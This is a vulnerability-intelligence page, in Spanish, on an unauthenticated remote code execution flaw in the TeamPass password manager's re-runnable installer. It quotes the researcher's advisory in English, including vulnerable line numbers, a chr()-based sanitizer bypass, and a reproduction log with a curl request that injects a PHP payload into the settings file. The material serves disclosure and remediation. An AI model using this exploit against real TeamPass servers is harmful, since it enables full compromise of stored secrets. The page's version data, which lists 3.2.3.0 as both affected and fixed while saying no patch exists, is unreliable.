llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · nilsteampassnet/teampass

GHSA-8XP7-FH3P-5PCR

Unauthenticated remote code execution via re-runnable installer

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición36 dDesde la divulgación, 16 oct 2026, 10:10 a. m.
Detección33 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Revisa si el servicio da a internet. Si sí: corre.Si la dejas para después, después te va a doler.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
16 oct 26
19 nov 26
21 nov 26
16 oct 26
25 oct 26
3 nov 26
12 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8XP7-FH3P-5PCR divulgada · CVSS 9.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Hello, I discovered this vulnerability on a client's website while conducting a pentest. Although this is a specific, isolated case, I have decided to report it nonetheless. The installer's entry point, ranging from `install/install-steps/run.step3.php` to `run.step6.php` in version 3.1.4.30, and from `public/install/install-steps/run.step3.php` to `run.step6.php` in the current `master` version, lacks authentication mechanisms, CSRF protection, and any checks to verify whether the installation has already been performed. If the system responds to HTTP requests, anyone with network access can reach it.

Details

The installer endpoint is unauthenticated and writes settings.php by raw concatenation of attacker input; that file is later included by the app, turning string interpolation into PHP code execution.

  1. Unauthenticated entry + unrestricted dispatcher — install/install-steps/run.step6.php runs with no session/CSRF/install-lock check. It reads POST and dynamically calls any method named in action:
  2. run.step6.php:158-160 — if (method_exists($this, $action)) call_user_func([$this, $action]); (no allow-list → attacker picks action=settingsFile).
  1. Attacker-controlled config — checks() connects to the attacker's MySQL (run.step6.php:104-108) and reads _install (:125), so teampassAbsolutePath / teampassSecurePath / teampassSecureFile (write paths) are attacker-controlled.
  1. Injection sink — settingsFile() interpolates raw input into PHP source:
  2. run.step6.php:412 — define("DB_PREFIX", "' . $this->inputData['tablePrefix'] . '"); ← primary vector (tablePrefix isn't used for the DB connection, so needs no valid value). dbHost/dbLogin/dbName/dbPort (:408,409,411,413) are equally raw; only dbPw is escaped (:410).
  3. run.step6.php:436 — file_put_contents($settingsFile, utf8_encode($settingsContent)) writes the poisoned file.
  1. Sanitizer bypass — dataSanitizerForInstall() (install/tp.functions.php:634) applies strip_tags()/htmlspecialchars() + AntiXSS — all HTML/JS-oriented. $, {, } pass untouched, so a payload with no quotes/tags/<?php (literals built via chr()) survives both layers.
  1. Trigger — the written settings.php is included on normal use (sources/main.functions.php:3497, :4210), so ${…} / {${…}} inside the define() executes as PHP.
Proof of concept

Reproduced end-to-end, locally, against an unmodified checkout of the public repository (tag `3.1.4.30` and current `master`), using attacker-controlled infrastructure for the network-reachable database required by precondition 2.

Attacker-side setup (not part of the target):
- A MariaDB instance with database `attackerdb`, user `attacker`, and table `_install(key, value)` containing one row: `teampassSecureFile` the filename of an arbitrary readable file placed under the target’s `secrets/` directory (or `includes/config/` on 3.1.x). We tested this with both a valid Defuse-format key and, separately, an unrelated plain-text file, see Precondition 4; both produced the same successful write.
- The unmodified application served from its real document root, simulating a deployed instance.
- PHP 8.2

Reproduction log (clean, reset before each step):

# 1. Baseline — confirm the target file does not exist yet
$ test -f app/config/settings.php && echo YES || echo NO
NO
$ test -f PWNED_MARKER.txt && echo YES || echo NO
NO

# 2. Attack request #1 — POST to the installer, payload in tablePrefix
$ curl -s -X POST http://<target>/install/install-steps/run.step6.php \
    --data-urlencode action=settingsFile \
    --data-urlencode dbHost=<attacker-db-host> \
    --data-urlencode dbLogin=attacker --data-urlencode dbPw=attackerpw \
    --data-urlencode dbName=attackerdb --data-urlencode dbPort=<port> \
    --data-urlencode 'tablePrefix=pwn_${file_put_contents(<path, as chr() calls>,chr(79).chr(87).chr(78))}'
{"success":true,"message":"Done"}

# 3. Confirm the file was written with the payload, and that NOTHING has executed yet
$ grep DB_PREFIX app/config/settings.php
define("DB_PREFIX", "pwn_${file_put_contents(chr(47)...,chr(79).chr(87).chr(78))}");
$ test -f PWNED_MARKER.txt && echo YES || echo NO
NO        <- marker absent: writing the file does not execute it

# 4. Attack request #2 — an ordinary GET, indistinguishable from any visitor’s first request
$ curl -s http://<target>/
(HTTP response — unrelated to the payload)

# 5. Confirm execution
$ test -f PWNED_MARKER.txt && echo YES || echo NO
YES
$ cat PWNED_MARKER.txt
OWN

The marker is absent after step 3 and present after step 5. Isolating the write (step 2) from execution (step 4) removes any ambiguity about whether `file_put_contents` fired at write time (impossible — it is a string literal until included) or at include time (what we are claiming).

Impact

Unauthenticated remote code execution (RCE) with the privileges of the web server user; total compromise of the vault and all secrets stored within it (database keys are located on the same host, :424-428).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
nilsteampassnet/teampass≤ 3.2.3.0
3.2.3.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistnilsteampassnet/teampass
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/nilsteampassnet/TeamPass/security/advisories/GHSA-8xp7-fh3p-5pcr

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.